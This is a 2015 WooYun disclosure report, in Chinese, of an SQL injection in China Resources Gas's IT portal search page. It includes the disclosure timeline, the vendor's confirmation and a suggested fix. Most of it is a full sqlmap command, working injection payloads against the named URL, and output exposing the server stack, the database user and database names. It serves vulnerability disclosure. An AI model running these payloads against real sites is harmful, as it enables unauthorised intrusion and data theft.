漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0129237
漏洞标题：华润燃气信息化门户搜索处存在SQL注入
相关厂商：华润燃气(集团)有限公司
漏洞作者： 路人甲
提交时间：2015-07-27 09:08
修复时间：2015-09-10 16:18
公开时间：2015-09-10 16:18
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：18
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-07-27： 细节已通知厂商并且等待厂商处理中
2015-07-27： 厂商已经确认，细节仅向厂商公开
2015-08-06： 细节向核心白帽子及相关领域专家公开
2015-08-16： 细节向普通白帽子公开
2015-08-26： 细节向实习白帽子公开
2015-09-10： 细节向公众公开
简要描述：
华润燃气信息化门户搜索处存在SQL注入
详细说明：
http://it.crcgas.net/search.aspx?id=a注入点id
用sqlmap跑下
sqlmap.py -u "http://it.crcgas.net/search.aspx?id=a" -p "id" --dbs --current-user --current-db
sqlmap identified the following injection points with a total of 78 HTTP(s) requ
ests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=a%' AND 5668=5668 AND '%'='
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: id=a%' AND 2386=CONVERT(INT,(CHAR(58)+CHAR(101)+CHAR(102)+CHAR(117)
+CHAR(58)+(SELECT (CASE WHEN (2386=2386) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(
58)+CHAR(102)+CHAR(106)+CHAR(106)+CHAR(58))) AND '%'='
Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: id=a%' UNION ALL SELECT NULL, CHAR(58)+CHAR(101)+CHAR(102)+CHAR(117
)+CHAR(58)+CHAR(117)+CHAR(107)+CHAR(79)+CHAR(76)+CHAR(100)+CHAR(84)+CHAR(87)+CHA
R(99)+CHAR(100)+CHAR(119)+CHAR(58)+CHAR(102)+CHAR(106)+CHAR(106)+CHAR(58), NULL,
NULL, NULL, NULL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: id=a%'; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: id=a%' WAITFOR DELAY '0:0:5'--
---
[15:01:28] [INFO] testing MySQL
[15:01:28] [WARNING] the back-end DBMS is not MySQL
[15:01:28] [INFO] testing Oracle
[15:01:28] [WARNING] the back-end DBMS is not Oracle
[15:01:28] [INFO] testing PostgreSQL
[15:01:28] [WARNING] the back-end DBMS is not PostgreSQL
[15:01:28] [INFO] testing Microsoft SQL Server
[15:01:29] [INFO] confirming Microsoft SQL Server
[15:01:29] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008
web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[15:01:29] [INFO] fetching current user
current user: 'sq_rmis'
[15:01:30] [INFO] fetching current database
current database: 'sq_rmis'
[15:01:30] [INFO] fetching database names
available databases [29]:
[*] a0103123601
[*] a0107163637
[*] a0227155438
[*] a05211243092
[*] a0526174232
[*] a0604103832
[*] a0615115402
[*] a0617184309
[*] a0627170803
[*] a07081000429
[*] a1204143833
[*] a1205155319
[*] master
[*] model
[*] msdb
[*] sq_13537897696
[*] sq_crcgas
[*] sq_crcgashr
[*] sq_daerp
[*] sq_dreamson
[*] sq_haian99
[*] sq_huafei
[*] sq_Manager
[*] sq_orderSystem
[*] sq_qmmanager
[*] sq_rmis
[*] sq_yangsizhuan1
[*] sq_yongjidb
[*] tempdb
漏洞证明：
sqlmap identified the following injection points with a total of 78 HTTP(s) requ
ests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=a%' AND 5668=5668 AND '%'='
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: id=a%' AND 2386=CONVERT(INT,(CHAR(58)+CHAR(101)+CHAR(102)+CHAR(117)
+CHAR(58)+(SELECT (CASE WHEN (2386=2386) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(
58)+CHAR(102)+CHAR(106)+CHAR(106)+CHAR(58))) AND '%'='
Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: id=a%' UNION ALL SELECT NULL, CHAR(58)+CHAR(101)+CHAR(102)+CHAR(117
)+CHAR(58)+CHAR(117)+CHAR(107)+CHAR(79)+CHAR(76)+CHAR(100)+CHAR(84)+CHAR(87)+CHA
R(99)+CHAR(100)+CHAR(119)+CHAR(58)+CHAR(102)+CHAR(106)+CHAR(106)+CHAR(58), NULL,
NULL, NULL, NULL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: id=a%'; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: id=a%' WAITFOR DELAY '0:0:5'--
---
[15:01:28] [INFO] testing MySQL
[15:01:28] [WARNING] the back-end DBMS is not MySQL
[15:01:28] [INFO] testing Oracle
[15:01:28] [WARNING] the back-end DBMS is not Oracle
[15:01:28] [INFO] testing PostgreSQL
[15:01:28] [WARNING] the back-end DBMS is not PostgreSQL
[15:01:28] [INFO] testing Microsoft SQL Server
[15:01:29] [INFO] confirming Microsoft SQL Server
[15:01:29] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008
web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[15:01:29] [INFO] fetching current user
current user: 'sq_rmis'
[15:01:30] [INFO] fetching current database
current database: 'sq_rmis'
[15:01:30] [INFO] fetching database names
available databases [29]:
[*] a0103123601
[*] a0107163637
[*] a0227155438
[*] a05211243092
[*] a0526174232
[*] a0604103832
[*] a0615115402
[*] a0617184309
[*] a0627170803
[*] a07081000429
[*] a1204143833
[*] a1205155319
[*] master
[*] model
[*] msdb
[*] sq_13537897696
[*] sq_crcgas
[*] sq_crcgashr
[*] sq_daerp
[*] sq_dreamson
[*] sq_haian99
[*] sq_huafei
[*] sq_Manager
[*] sq_orderSystem
[*] sq_qmmanager
[*] sq_rmis
[*] sq_yangsizhuan1
[*] sq_yongjidb
[*] tempdb
修复方案：
过滤特殊字符
版权声明：转载请注明来源 路人甲@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：8
确认时间：2015-07-27 16:17
厂商回复：
漏洞级别为高，但是该业务仅用于信息展示，所以风险来说还是比较小的，非常感谢！
最新状态：
暂无